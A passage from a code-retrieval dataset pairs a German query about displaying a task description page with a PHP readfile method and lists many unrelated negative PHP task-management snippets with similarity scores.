{\r\n\t\t\t$this->french_headings_normalization_exceptions = array(\r\n\t\t\t// search => replace\r\n\t\t\t'comité de surveillance des activités de renseignement de sécurité' => 'Comité de surveillance des activités de renseignement de sécurité',\r\n\t\t\t'comité de surveillance des activités de renseignement de sécurité' => 'Comité de surveillance des activités de renseignement de sécurité',\r\n\t\t\t'commission d\\'examen des plaintes concernant la police militaire' => 'Commission d\\'examen des plaintes concernant la police militaire',\r\n\t\t\t'service des poursuites pénales du Canada' => 'Service des poursuites pénales du Canada',\r\n\t\t\t'service des poursuites pénales du Canada' => 'Service des poursuites pénales du Canada',\r\n\t\t\t'agence parcs canada' => 'Agence Parcs Canada',\r\n\t\t\t'parcs canada' => 'Parcs Canada',\r\n\t\t\t\r\n\t\t\t'canada' => 'Canada',\r\n\t\t\t'parlement' => 'Parlement',\r\n\t\t\t\r\n\t\t\t'québec' => 'Québec',\r\n\t\t\t'québec' => 'Québec',\r\n\t\t\t'ontario' => 'Ontario',\r\n\t\t\t'colombie-britannique' => 'Colombie-Britannique',\r\n\t\t\t'alberta' => 'Alberta',\r\n\t\t\t'saskatchewan' => 'Saskatchewan',\r\n\t\t\t'manitoba' => 'Manitoba',\r\n\t\t\t'nouveau-brunswick' => 'Nouveau-brunswick',\r\n\t\t\t'île-du-prince-édouard' => 'Île-du-Prince-Édouard',\r\n\t\t\t'île-du-prince-édouard' => 'Île-du-Prince-Édouard',\r\n\t\t\t'nouvelle-écosse' => 'Nouvelle-Écosse',\r\n\t\t\t'nouvelle-écosse' => 'Nouvelle-Écosse',\r\n\t\t\t'terre-neuve' => 'Terre-Neuve',\r\n\t\t\t'yukon' => 'Yukon',\r\n\t\t\t'territoires du nord-ouest' => 'Territoires du Nord-Ouest',\r\n\t\t\t'nunavut' => 'Nunavut',\r\n\t\t\t\r\n\t\t\t'ottawa' => 'Ottawa',\r\n\t\t\t'toronto' => 'Toronto',\r\n\t\t\t'montréal' => 'Montréal',\r\n\t\t\t'montréal' => 'Montréal',\r\n\t\t\t'vancouver' => 'Vancouver',\r\n\t\t\t\r\n\t\t\t'majesté' => 'Majesté',\r\n\t\t\t'majesté' => 'Majesté',\r\n\t\t\t'directeur général' => 'Directeur général',\r\n\t\t\t'directeur général' => 'Directeur général',\r\n\t\t\t\r\n\t\t\t);\r\n\t\t}\r\n\t}",
"public function getValidationPhrases() : array;",
"public function show(Answer $answer)\n {\n //\n }",
"public function show(Answer $answer)\n {\n //\n }",
"public function show(Answer $answer)\n {\n //\n }"
] | [
"0.5894224",
"0.5759442",
"0.57177246",
"0.5693164",
"0.56925666",
"0.5648136",
"0.559913",
"0.55987984",
"0.55634093",
"0.5532757",
"0.5530401",
"0.55281997",
"0.551955",
"0.5441908",
"0.543937",
"0.54363704",
"0.5430889",
"0.5381001",
"0.535859",
"0.5333099",
"0.5323755",
"0.5313734",
"0.5303649",
"0.52850366",
"0.52816355",
"0.5273877",
"0.52557284",
"0.52333695",
"0.5225193",
"0.5222269",
"0.5222269",
"0.52048296",
"0.5200559",
"0.5200559",
"0.519704",
"0.51835907",
"0.517654",
"0.5163654",
"0.5162028",
"0.512399",
"0.5122844",
"0.5113644",
"0.51125175",
"0.51064265",
"0.51051575",
"0.5083822",
"0.50540304",
"0.5053529",
"0.5038585",
"0.5038293",
"0.50361353",
"0.5033158",
"0.50158983",
"0.49951345",
"0.4991988",
"0.49913397",
"0.4988831",
"0.4987812",
"0.49851927",
"0.49715558",
"0.4950993",
"0.49489346",
"0.4947247",
"0.49417377",
"0.49377808",
"0.49308434",
"0.49274445",
"0.49245614",
"0.49232957",
"0.49168947",
"0.49167934",
"0.4913557",
"0.49133107",
"0.4911985",
"0.49079937",
"0.4899789",
"0.48987114",
"0.48940435",
"0.48886746",
"0.48872888",
"0.48815316",
"0.48791748",
"0.48791045",
"0.48772436",
"0.48771062",
"0.48771062",
"0.4875688",
"0.48628",
"0.48615208",
"0.48602337",
"0.48600334",
"0.4854843",
"0.48540863",
"0.48519382",
"0.48515838",
"0.4847251",
"0.48427147",
"0.48389083",
"0.48389083",
"0.48389083"
] | 0.69583577 | 0 |
Stellt den Inhalt der Seite dar, auf der die Anforderungen beschrieben sind (task.html). | private function printTaskPage() {
readfile ( 'html/task.html' );
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function do_viewtask()\n\t{\n\t\tif ( isset( $_REQUEST[ 'task_id' ] ) )\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\t$task = Task::load( $_REQUEST[ 'task_id' ] );\n\t\t\t}\n\t\t\tcatch( \\OutOfRangeException $e )\n\t\t\t{\n\t\t\t\t$task = NULL;\n\t\t\t}\n\t\t}\n\t\t\n\t\techo $this->getPlugin()->getTemplateContent( 'views/management/task-item', array( 'task' => $task ) );\n\t}",
"public function addTask()\n\t{\n\t\t// Output the HTML\n\t\t$this->editTask();\n\t}",
"public function displayTask()\n\t{\n\t\t// Incoming\n\t\t$ids = Request::getArray('id', array(0));\n\t\t$id = $ids[0];\n\n\t\tif (!$id)\n\t\t{\n\t\t\tApp::redirect(\n\t\t\t\tRoute::url('index.php?option=' . $this->_option, false)\n\t\t\t);\n\t\t\treturn;\n\t\t}\n\n\t\t// Get filters\n\t\t$filters = array(\n\t\t\t'search' => urldecode(Request::getState(\n\t\t\t\t$this->_option . '.' . $this->_controller . '.search',\n\t\t\t\t'search',\n\t\t\t\t''\n\t\t\t)),\n\t\t\t// Get sorting variables\n\t\t\t'sort' => Request::getState(\n\t\t\t\t$this->_option . '.' . $this->_controller . '.sort',\n\t\t\t\t'filter_order',\n\t\t\t\t'registered'\n\t\t\t),\n\t\t\t'sort_Dir' => Request::getState(\n\t\t\t\t$this->_option . '.' . $this->_controller . '.sortdir',\n\t\t\t\t'filter_order_Dir',\n\t\t\t\t'DESC'\n\t\t\t)\n\t\t);\n\n\t\t$event = Event::oneOrFail($id);\n\n\t\t$rows = $event->respondents()\n\t\t\t->order($filters['sort'], $filters['sort_Dir'])\n\t\t\t->paginated('limitstart', 'limit')\n\t\t\t->rows();\n\n\t\t// Output the HTML\n\t\t$this->view\n\t\t\t->set('event', $event)\n\t\t\t->set('rows', $rows)\n\t\t\t->set('filters', $filters)\n\t\t\t->display();\n\t}",
"public function editTask() {\n return $this->render('enterprise/task/task_form.html.twig');\n }",
"public function task($id = NULL) {\n $task = NULL;\n if ($id != NULL) {\n $taskDAO = new ModelDAO(Task::class);\n $task = $taskDAO->read($id);\n } else {\n $task = new Task();\n }\n \n return $this->render('task.php', ['id' => $id, 'task' => $task]);\n }",
"public function viewProjectTasks() {\n\n return $this->render('enterprise/task/project_tasks.html.twig', array(\n 'tasks' => array(\n '0' => array(\n 'titre' => 'titre',\n 'priority' => 'High',\n 'category' => 'Bug',\n 'status' => 'New',\n 'progress' => '20%',\n 'datemodif' => '20/05/2015'\n ),\n '1' => array(\n 'titre' => 'titre',\n 'priority' => 'Low',\n 'category' => 'Dev',\n 'status' => 'In Progress',\n 'progress' => '60%',\n 'datemodif' => '03/06/2004'\n ),\n '2' => array(\n 'titre' => 'titre',\n 'priority' => 'Med',\n 'category' => 'Doc',\n 'status' => 'Rejected',\n 'progress' => '20%',\n 'datemodif' => '02/08/2013'\n ),\n '3' => array(\n 'titre' => 'titre',\n 'priority' => 'Med',\n 'category' => 'Dev',\n 'status' => 'Valided',\n 'progress' => '100%',\n 'datemodif' => '02/05/2016'\n )\n )\n )\n );\n }",
"public function taskHistory(){\n //Changes the current page to TaskHistory\n $_SESSION['current_page'] = 'TaskHistory';\n //No data needs to be loaded but the variable is still requored\n $data = [];\n //Load the view\n $this->view('taskHistory/TaskHistory', $data);\n }",
"public static function index(){\n parent::check_logged_in();\n $tasks = Task::find_by_user(parent::get_user_logged_in()->id);\n // Renderöidään views/task kansiossa sijaitseva tiedosto index.html muuttujan $tasks datalla\n View::make('task/index.html', array('tasks' => $tasks,'title'=>'my tasks'));\n }",
"public function getTaskPath()\r\n { \r\n return 'bebras-tasks/'.$this->route;\r\n }",
"function template_edit_scheduled_tasks()\n{\n\tglobal $context, $txt;\n\n\t// Starts off with general maintenance procedures.\n\techo '\n\t\t<form action=\"<URL>?action=admin;area=scheduledtasks;sa=taskedit;save;tid=', $context['task']['id'], '\" method=\"post\" accept-charset=\"UTF-8\">\n\t\t\t<we:cat>\n\t\t\t\t', $txt['scheduled_task_edit'], '\n\t\t\t</we:cat>\n\t\t\t<div class=\"information\">\n\t\t\t\t<em>', sprintf($txt['scheduled_task_time_offset'], $context['server_time']), ' </em>\n\t\t\t</div>\n\t\t\t<div class=\"windowbg wrc\">\n\t\t\t\t<dl class=\"settings\">\n\t\t\t\t\t<dt>\n\t\t\t\t\t\t<strong>', $txt['scheduled_tasks_name'], ':</strong>\n\t\t\t\t\t</dt>\n\t\t\t\t\t<dd>\n\t\t\t\t\t\t', $context['task']['name'], '\n\t\t\t\t\t\t<dfn>', $context['task']['desc'], '</dfn>\n\t\t\t\t\t</dd>\n\t\t\t\t\t<dt>\n\t\t\t\t\t\t<strong>', $txt['scheduled_task_edit_interval'], ':</strong>\n\t\t\t\t\t</dt>\n\t\t\t\t\t<dd>\n\t\t\t\t\t\t', $txt['scheduled_task_edit_repeat'], '\n\t\t\t\t\t\t<input name=\"regularity\" value=\"', empty($context['task']['regularity']) ? 1 : $context['task']['regularity'], '\" onchange=\"if (this.value < 1) this.value = 1;\" size=\"2\" maxlength=\"2\">\n\t\t\t\t\t\t<select name=\"unit\">\n\t\t\t\t\t\t\t<option value=\"0\" data-hide>', $txt['scheduled_task_edit_pick_unit'], '</option>\n\t\t\t\t\t\t\t<option value=\"m\"', empty($context['task']['unit']) || $context['task']['unit'] == 'm' ? ' selected' : '', '>', $txt['scheduled_task_reg_unit_m'], '</option>\n\t\t\t\t\t\t\t<option value=\"h\"', $context['task']['unit'] == 'h' ? ' selected' : '', '>', $txt['scheduled_task_reg_unit_h'], '</option>\n\t\t\t\t\t\t\t<option value=\"d\"', $context['task']['unit'] == 'd' ? ' selected' : '', '>', $txt['scheduled_task_reg_unit_d'], '</option>\n\t\t\t\t\t\t\t<option value=\"w\"', $context['task']['unit'] == 'w' ? ' selected' : '', '>', $txt['scheduled_task_reg_unit_w'], '</option>\n\t\t\t\t\t\t</select>\n\t\t\t\t\t</dd>\n\t\t\t\t\t<dt>\n\t\t\t\t\t\t<strong>', $txt['scheduled_task_edit_start_time'], ':</strong>\n\t\t\t\t\t\t<dfn>', $txt['scheduled_task_edit_start_time_desc'], '</dfn>\n\t\t\t\t\t</dt>\n\t\t\t\t\t<dd>\n\t\t\t\t\t\t<input name=\"offset\" value=\"', $context['task']['offset_formatted'], '\" size=\"6\" maxlength=\"5\">\n\t\t\t\t\t</dd>\n\t\t\t\t\t<dt>\n\t\t\t\t\t\t<strong>', $txt['scheduled_tasks_enabled'], ':</strong>\n\t\t\t\t\t</dt>\n\t\t\t\t\t<dd>\n\t\t\t\t\t\t<input type=\"checkbox\" name=\"enabled\" id=\"enabled\"', !$context['task']['disabled'] ? ' checked' : '', '>\n\t\t\t\t\t</dd>\n\t\t\t\t</dl>\n\t\t\t\t<div class=\"right\">\n\t\t\t\t\t<input type=\"hidden\" name=\"', $context['session_var'], '\" value=\"', $context['session_id'], '\">\n\t\t\t\t\t<input type=\"submit\" name=\"save\" value=\"', $txt['scheduled_tasks_save_changes'], '\" class=\"save\">\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t</form>';\n}",
"public function show(Task $task)\r\n {\r\n //\r\n }",
"public function renderDefault() {\r\n $this->template->title = \"ToDo-list\";\r\n\r\n $session = $this->getSession('session');\r\n\r\n if ($this->getParam(\"deleteTask\"))\r\n $this->deleteTask($_GET[\"deleteTask\"]);\r\n\r\n if ($this->getUser()->isLoggedIn()) { // přihlášení uživatelé\r\n $this->template->loggedAs = \"Přihlášen jako \" . $this->getUser()->identity->data[0] . \" (\" . $this->getUser()->identity->data[1] . \")\";\r\n\r\n\r\n $this->template->categoryList = $this->getCategoryList();\r\n $this->template->tasks = $this->listTasks($this['vp']->getPaginator());\r\n } else {\r\n $this->template->loggedAs = \"Nepřihlášen\";\r\n }\r\n $this->makeMenu($this->getUser()->isLoggedIn());\r\n }",
"public function render()\n {\n return view('components.task');\n }",
"public function index()\n {\n return view('web.pages.tasks')\n ->with('tasks',Task::with('project')->get());\n }",
"public function index()\r\n {\r\n $this->session->set_userdata('referred_from', current_url());\r\n $data['tasks'] = $this->TaskModel->getAssignedTasks($this->userId);\r\n $data['taskTitle'] = \"Tasks assigned to you\";\r\n $data['base_url'] = $this->base_url;\r\n $data['title'] = \"ICT Cloud | Admin | Tasks\";\r\n\r\n $data['finish'] = true;\r\n $data['delete'] = false;\r\n\r\n $data['menu'] = \"\";\r\n\r\n foreach($this->menu['Menu'] as $m)\r\n {\r\n $data['menu'] .= '<li>';\r\n $data['menu'] .= '<a href=\"'.$m['AppMenuLink'].'\"><i class=\"fa '.$m['AppMenuIcon'].' fa-fw\"></i> '.$m['AppMenuName'].'</a>';\r\n $data['menu'] .= '</li>';\r\n }\r\n\r\n $data['formTaskName'] = $this->formTaskName;\r\n $data['formOptions'] = $this->formOptions;\r\n $data['formSubmit'] = $this->formSubmit;\r\n $data['formTaskDescription'] = $this->formTaskDescription;\r\n $data['formEndDate'] = $this->formEndDate;\r\n\r\n $data['Groups'] = $this->adminGroups;\r\n\r\n\r\n $this->load_view(\"Task/TaskList\", $data);\r\n }",
"public function index()\n {\n $d['tasks'] = $this->tasks->getAll();\n $this->set($d);\n $this->render(\"index\");\n }",
"public function getTaskTitle() {}",
"private function add_task()\n {\n \t$helperPluginManager = $this->getServiceLocator();\n \t$serviceManager = $helperPluginManager->getServiceLocator(); \t \n \t$task = $serviceManager->get('PM/Model/Tasks');\n \t$result = $task->getTaskById($this->pk);\n \tif($result)\n \t{\n \t\t$company_url = $this->view->url('companies/view', array('company_id' => $result['company_id']));\n \t\t$project_url = $this->view->url('projects/view', array('project_id' => $result['project_id']));\n \t\t$task_url = $this->view->url('tasks/view', array('task_id' => $result['id']));\n \t\t\n \t\t$this->add_breadcrumb($company_url, $result['company_name']);\n \t\t$this->add_breadcrumb($project_url, $result['project_name']);\n \t\t$this->add_breadcrumb($task_url, $result['name'], TRUE);\n \t}\n }",
"public function displayTask()\n\t{\n\t\t// Get filters\n\t\t$this->view->filters = array(\n\t\t\t'zone' => urldecode(Request::getState(\n\t\t\t\t$this->_option . '.' . $this->_controller . '.zone',\n\t\t\t\t'zone',\n\t\t\t\t0,\n\t\t\t\t'int'\n\t\t\t)),\n\t\t\t'tmpl' => Request::getState(\n\t\t\t\t$this->_option . '.' . $this->_controller . '.tmpl',\n\t\t\t\t'tmpl',\n\t\t\t\t''\n\t\t\t),\n\t\t\t// Sorting\n\t\t\t'sort' => Request::getState(\n\t\t\t\t$this->_option . '.' . $this->_controller . '.sort',\n\t\t\t\t'filter_order',\n\t\t\t\t'zone'\n\t\t\t),\n\t\t\t'sort_Dir' => Request::getState(\n\t\t\t\t$this->_option . '.' . $this->_controller . '.sortdir',\n\t\t\t\t'filter_order_Dir',\n\t\t\t\t'ASC'\n\t\t\t)\n\t\t);\n\n\t\tif ($this->view->filters['tmpl'] == 'component')\n\t\t{\n\t\t\t$this->view->setLayout('component');\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Get paging variables\n\t\t\t$this->view->filters['limit'] = Request::getState(\n\t\t\t\t$this->_option . '.' . $this->_controller . '.limit',\n\t\t\t\t'limit',\n\t\t\t\tConfig::get('list_limit'),\n\t\t\t\t'int'\n\t\t\t);\n\t\t\t$this->view->filters['start'] = Request::getState(\n\t\t\t\t$this->_option . '.' . $this->_controller . '.limitstart',\n\t\t\t\t'limitstart',\n\t\t\t\t0,\n\t\t\t\t'int'\n\t\t\t);\n\n\t\t\t// In case limit has been changed, adjust limitstart accordingly\n\t\t\t$this->view->filters['start'] = ($this->view->filters['limit'] != 0 ? (floor($this->view->filters['start'] / $this->view->filters['limit']) * $this->view->filters['limit']) : 0);\n\t\t}\n\n\t\t// Get the middleware database\n\t\t$this->view->zone = new Middleware\\Zone($this->view->filters['zone']);\n\n\t\t$this->view->total = $this->view->zone->locations('count', $this->view->filters);\n\n\t\t$this->view->rows = $this->view->zone->locations('list', $this->view->filters);\n\n\t\t// Set any errors\n\t\tforeach ($this->getErrors() as $error)\n\t\t{\n\t\t\t$this->view->setError($error);\n\t\t}\n\n\t\t// Display results\n\t\t$this->view->display();\n\t}",
"function Display(){\n\t\t//trigger_error('CREATING TASK DEBUG POINT', E_USER_NOTICE);\n\t\t\n\t\t$this->m_eventDataArr = $this->GetEventData();\n\t\t\n\t\t// exec event actions here\n\t\tif(EVENT_ACTIONS_FLAG == 1) {\n\t\t\t//trigger_error('TEST: EVENTS!!!', E_USER_NOTICE);\n\t\t\t$this->ExecEventActions();\t\n\t\t} \n\t\t\n\t\t//trigger_error('ERRORS1: ' . $this->m_errCnt, E_USER_NOTICE);\n\t\t//trigger_error('GetEventData() DEBUG POINT', E_USER_NOTICE);\n\t\t\n\t\t$lTaskDefinition = $this->GetTaskDefinition((int)$this->m_eventDataArr['document_id'], (int)$this->m_JournalId);\n\t\t\n\t\t//trigger_error('GetTaskDefinition() DEBUG POINT', E_USER_NOTICE);\n\t\t//trigger_error('ERRORS2: ' . $this->m_errCnt, E_USER_NOTICE);\n\t\t\n\t\tif($this->m_errCnt){\n\t\t\treturn $this->m_errMsgs;\n\t\t}\n\t\t\n\t\tif(!$this->m_customFlag) {\n\t\t\t$this->CreateTask($lTaskDefinition);\n\t\t} else {\n\t\t\t$this->CreateCustomTask();\n\t\t}\n\t\t\t\n\t\t\n\t\t\n\t\t//trigger_error('CreateTask() DEBUG POINT', E_USER_NOTICE);\n\t\t\n\t\tif($this->m_errCnt){\n\t\t\treturn $this->m_errMsgs;\n\t\t}\n\t}",
"function display() {\n\n\t\t// Check authorization, abort if negative\n\t\t$this->isAuthorized() or $this->abortUnauthorized();\n\n\t\t// Get the view\n\t\t$view = $this->getDefaultView();\n\n\t\tif ($view == NULL) {\n\t\t\tthrow new Exception('Display task called, but there is no view assigned to that controller. Check method getDefaultView.');\n\t\t}\n\n\t\t$view->listing = true;\n\n\t\t// Wrap the output of the views depending on the way the stuff should be shown\n\t\t$this->wrapViewAndDisplay($view);\n\n\t}",
"protected function editTaskAction() {}",
"public function index()\n {\n if( ! User::isLoggedIn()) {\n header(\"Location: /user/login\");\n }\n $model = new Task();\n $model->user_id = User::getLoggedInUserId();\n if(isset($_GET['sort'])) {\n $model->sort = $_GET['sort'];\n }\n\n $tasks = $model->read();\n\n if(count($tasks) > 0 ) {\n $this->render('index', $tasks);\n } else {\n $this->render('nodata', []);\n }\n }",
"public function actionProjecttask()\n {\n $message = \"\";\n if (RoleHelper::checkAccessControl('task', 'view')) {\n if (isset($_GET['id'])) {\n\n $model = Task::model()->findAll(\"id_project=:id\", array(':id' => $_GET['id']));\n }\n $this->render('Projecttask', array('model' => $model, 'title' => $_GET['title'], 'message' => $message));\n } else {\n $message = \"شما اجازه ی مشاهده ی تسک ها را ندارید\";\n $this->render('index', array('message' => $message));\n }\n }",
"public function action_taskexecuter() {\n $tasks = Model_Admin_Task::query()->where('done', 0)\n ->order_by('whentodo', 'asc')\n ->get();\n \n $now = time();\n foreach ($tasks as $task) {\n \n // This with all after tasks are futur tasks\n if(intval($task->whentodo) > $now)\n break;\n \n switch ($task->type) {\n case \"newsletter\":\n \n // Title and content\n $params = Format::forge($task->parameters, 'json')->to_array();\n $title = $params['title'];\n $content = $params['content'];\n $smscontent = $params['smscontent'];\n \n // Collect all users\n $users = Model_13user::find('all');\n // Send mail to email users\n foreach ($users as $user) {\n if($user->notif == \"sms\") {\n // Wait for sms implementation\n }\n else {\n $data = array(\n 'title' => $title,\n 'content' => $content,\n 'pseudo' => $user->pseudo\n );\n // Send mail\n Controller_Base::sendHtmlMail(\n '[email protected]', \n 'Season13.com', \n $user->email, \n 'Newsletter Season13.com', \n 'mail/newsletter', \n $data\n );\n }\n }\n \n $task->hasdone();\n \n break;\n }\n }\n $data['admin_tasks'] = $tasks;\n \t$this->template->title = \"Tasks just done\";\n \t$this->template->content = View::forge('admin/task/index', $data);\n }",
"public function index() // tasks page\n {\n $fetched_data = tasks::get();\n \n foreach ($fetched_data as $d) {\n $d->start_date = date('d/m/y', $d->start_date) ;\n $d->end_date = date('d/m/y', $d->end_date);\n }\n $data = [\"data\"=>$fetched_data];\n return view('todo.index',$data);\n }",
"public function show(Task $task)\n {\n //\n }",
"public function show(Task $task)\n {\n //\n }",
"public function show(Task $task)\n {\n //\n }",
"public function show(Task $task)\n {\n //\n }",
"public function show(Task $task)\n {\n //\n }",
"public function show(Task $task)\n {\n //\n }",
"public function index() {\n $taskDAO = new ModelDAO(Task::class);\n $tasks = $taskDAO->readAll();\n \n return $this->render('index.php', ['tasks' => $tasks]);\n }",
"public function finished(){\r\n $this->session->set_userdata('referred_from', current_url());\r\n $data['tasks'] = $this->TaskModel->getFinishedTasks($this->userId);\r\n $data['taskTitle'] = \"Finished Tasks\";\r\n $data['base_url'] = $this->base_url;\r\n $data['title'] = \"ICT Cloud | Admin | Tasks\";\r\n\r\n $data['finish'] = false;\r\n $data['delete'] = false;\r\n\r\n $data['menu'] = \"\";\r\n\r\n foreach($this->menu['Menu'] as $m)\r\n {\r\n $data['menu'] .= '<li>';\r\n $data['menu'] .= '<a href=\"'.$m['AppMenuLink'].'\"><i class=\"fa '.$m['AppMenuIcon'].' fa-fw\"></i> '.$m['AppMenuName'].'</a>';\r\n $data['menu'] .= '</li>';\r\n }\r\n\r\n $data['formTaskName'] = $this->formTaskName;\r\n $data['formOptions'] = $this->formOptions;\r\n $data['formSubmit'] = $this->formSubmit;\r\n $data['formTaskDescription'] = $this->formTaskDescription;\r\n $data['formEndDate'] = $this->formEndDate;\r\n\r\n $data['Groups'] = $this->adminGroups;\r\n\r\n $this->load_view(\"Task/TaskList\", $data);\r\n }",
"public function displayTask()\n\t{\n\t\t// Get filters\n\t\t$filters = array(\n\t\t\t'component' => urldecode(Request::getState(\n\t\t\t\t$this->_option . '.' . $this->_controller . '.component',\n\t\t\t\t'component',\n\t\t\t\t''\n\t\t\t)),\n\t\t\t'sort' => Request::getState(\n\t\t\t\t$this->_option . '.' . $this->_controller . '.sort',\n\t\t\t\t'filter_order',\n\t\t\t\t'c.name'\n\t\t\t),\n\t\t\t'sort_Dir' => Request::getState(\n\t\t\t\t$this->_option . '.' . $this->_controller . '.sortdir',\n\t\t\t\t'filter_order_Dir',\n\t\t\t\t'ASC'\n\t\t\t),\n\t\t\t// Get paging variables\n\t\t\t'limit' => Request::getState(\n\t\t\t\t$this->_option . '.' . $this->_controller . '.limit',\n\t\t\t\t'limit',\n\t\t\t\tConfig::get('list_limit'),\n\t\t\t\t'int'\n\t\t\t),\n\t\t\t'start' => Request::getState(\n\t\t\t\t$this->_option . '.' . $this->_controller . '.limitstart',\n\t\t\t\t'limitstart',\n\t\t\t\t0,\n\t\t\t\t'int'\n\t\t\t)\n\t\t);\n\n\t\t$obj = Message\\Component::blank();\n\n\t\t// Get a record count\n\t\t$total = $obj->getCount($filters, true);\n\n\t\t// Get records\n\t\t$rows = $obj->getRecords($filters, true);\n\n\t\t$components = $obj->getComponents();\n\n\t\t// Output the HTML\n\t\t$this->view\n\t\t\t->set('filters', $filters)\n\t\t\t->set('total', $total)\n\t\t\t->set('rows', $rows)\n\t\t\t->set('components', $components)\n\t\t\t->display();\n\t}",
"function showSlot($myID, $myTitle, $myStart, $myDuration) {\n\t\tglobal $dbconnect;\n\n\t\t// determine if the task has been accomplished\n\t\t$sql = \"SELECT finished FROM done WHERE ID = '$myID'\";\n\t\t$query = mysqli_query($dbconnect, $sql);\n\t\t$result = mysqli_fetch_assoc($query);\n\n\t\t$finished = is_null($result) || is_null($result[\"finished\"]) ? 'N' : $result[\"finished\"];\n\n\t\t// display task\n\t\techo \"<a class='task\";\n\t\techo ($finished == 'Y' ? \" finished\" : \"\");\n\t\techo \" duration\" . $myDuration;\n\t\techo \" start\" . $myStart . \"'\";\n\t\techo \" href='index.php?edit=\" . $myID . \"'\";\n\t\techo \" title='\" . $myTitle . \"'>\";\n\t\t\techo $myTitle;\n\t\techo \"</a>\";\n\t}",
"public function task_list()\n {\n \t//get list of tasks from database\n \t//instance the class\n $this->load->model('Task_model');\n\t\t$id_user = $this->User_model->getID();\n\t\t$data['name'] = $this->User_model->getID();\n $data['tasks'] = $this->Task_model->getTask(NULL, $this->User_model->getActiveProject());\n\t\t\n \t//load the view associated with this controller\n $this->load->view('header', $data);\n $this->load->view('nav', $data);\n $this->load->view('task/task', $data);\n $this->load->view('footer', $data);\n \t\n }",
"function tasks()\n\t{\n\t\t$this->ipsclass->input['step']++;\n\t\t$uninstall = ( $this->ipsclass->input['un'] == 1 ) ? \"&un=1\" : \"\";\n\t\t\n\t\t$object = ( $this->tasks['tasks'] == 1 ) ? 'Task' : 'Tasks';\n\t\t$operation = ( $this->ipsclass->input['un'] ) ? 'removed' : 'created';\n\t\t$taskkeys = array();\n\t\t\n\t\tforeach ( $this->xml_array['tasks_group']['task'] as $k => $v )\n\t\t{\n\t\t\t$taskkeys[] = \"'{$v['task_key']['VALUE']}'\";\n\t\t}\n\t\t\n\t\t$this->ipsclass->DB->do_delete( 'task_manager', \"task_key IN (\".implode( \",\", $taskkeys ).\")\" );\n\t\t\n\t\tif ( !$this->ipsclass->input['un'] )\n\t\t{\n\t\t\tforeach ( $this->xml_array['tasks_group']['task'] as $k => $v )\n\t\t\t{\n\t\t\t\t$this->_add_task( $v );\n\t\t\t}\n\t\t}\n\t\t\n\t\t$this->ipsclass->admin->redirect( \"{$this->ipsclass->form_code}&code=work&mod={$this->ipsclass->input['mod']}&step={$this->ipsclass->input['step']}{$uninstall}&st={$this->ipsclass->input['st']}\", \"{$this->xml_array['mod_info']['title']['VALUE']}<br />{$this->tasks['tasks']} {$object} {$operation}....\" );\n\t}",
"public function index()\n\n {\n\n \t$tasks = Task::all();// elequant in dedicated class ^^ easier than abobe\n\n \t//return $tasks; //return as json -- good for apis\n\n \treturn view('tasks.index', compact('tasks')); \n\n }",
"public function path()\n {\n \treturn \"/projects/{$this->project->id}/tasks/{$this->id}\";\n }",
"public function index()\n {\n $task = Task::where('fk_user_id','=',Auth::id())->where('task_date','=',date('Y-m-d'))->get();\n // dd(getMimeType($task->task_file));\n return view('homepage')->with('task' , $task);\n }",
"public function Index (){\n $userID = 1;\n\n\t\t$data = [\n 'userID' => $userID,\n 'tasks' => $this->TaskModel->userTasks($userID),\n\t\t\t'exampleVar' => 'I am enexample'\n\t\t];\n\n\t\t//Pulls the view from www/views/main/\n\t\t$this->app->render('mainViews/main.twig', $data);\n $this->app->render('mainViews/login.twig');\n $this->app->render('mainViews/register.twig');\n\t}",
"function phptemplate_menu_local_tasks() {\n $output = '';\n\n if ($primary = menu_primary_local_tasks()) {\n $output .= \"<ul class=\\\"tabs primary\\\">\\n\". $primary .\"</ul>\\n\";\n }\n\n return $output;\n}",
"public function index()\n {\n $task_repo = $this->getDoctrine()->getRepository(Task::class);\n $tasks = $task_repo->findBy([], [\n 'id'=> 'desc'\n ]);\n /* desde task\n \n foreach ($tasks as $tarea) {\n echo $tarea->getUser()->getName().\" \".$tarea->getUser()->getSurname()\n .\" :\".$tarea->getTitle().\"<br>\";\n }*/\n /*foreach ($users as $usuario) {\n echo \"<h1>\".$usuario->getName().\" \".$usuario->getSurname().\"</h1>\";\n foreach ($usuario->getTasks() as $tarea) {\n echo $tarea->getTitle().\"<br>\";\n }\n }*/\n return $this->render('task/index.html.twig', [\n 'tasks' => $tasks,\n ]);\n }",
"function devshop_render_tasks($tasks = NULL, $class = '', $actions = array(), $float = 'left'){\n global $user;\n\n if (is_null($tasks)){\n // Tasks\n $tasks = hosting_get_tasks(null, null, 10);\n }\n\n // Get active or queued\n $tasks_count = 0;\n foreach ($tasks as $task){\n if ($task->task_status == HOSTING_TASK_QUEUED || $task->task_status == HOSTING_TASK_PROCESSING){\n $tasks_count++;\n }\n }\n\n $task_class = '';\n if ($tasks_count > 0) {\n $task_class = 'active-task fa-spin';\n }\n\n $items = array();\n $text = '<i class=\"fa fa-list-alt\"></i> '. t('Task Logs');\n\n // If for an environment, change the link.\n if (!empty($actions)) {\n\n $environment_node = node_load($tasks[0]->rid);\n $environment = $environment_node->environment;\n\n $url = \"node/{$environment->project_nid}/logs/{$environment->name}\";\n }\n else {\n $url = 'hosting/tasks';\n }\n\n $task_items = array();\n $task_items[] = l($text, $url, array(\n 'html' => TRUE,\n 'attributes' => array(\n 'class' => array(\n 'list-group-item',\n ),\n ),\n ));\n\n $task_types = hosting_available_tasks();\n\n if (!empty($tasks)) {\n\n foreach ($tasks as $task) {\n\n switch ($task->task_status){\n case HOSTING_TASK_SUCCESS:\n $icon = 'check text-success';\n $item_class = 'list-group-item-success';\n break;\n\n case HOSTING_TASK_ERROR;\n $icon = 'exclamation-circle text-danger';\n $item_class = 'list-group-item-danger';\n break;\n case HOSTING_TASK_WARNING:\n $icon = 'warning text-warning';\n $item_class = 'list-group-item-warning';\n break;\n\n case HOSTING_TASK_PROCESSING;\n case HOSTING_TASK_QUEUED;\n $icon = 'cog fa-spin text-info';\n $item_class = 'list-group-item-info';\n break;\n }\n\n $task_node = node_load($task->rid);\n\n // If environment tasks...\n if (!empty($actions)) {\n $task->title = $task_types[$task_node->type][$task->task_type]['title'];\n }\n\n $text = '<i class=\"fa fa-' . $icon . '\"></i> ';\n $text .= $task->title;\n $datetime = date('c', $task->changed);\n $text .= ' <time class=\"timeago task-ago btn-block\" datetime=\"' . $datetime 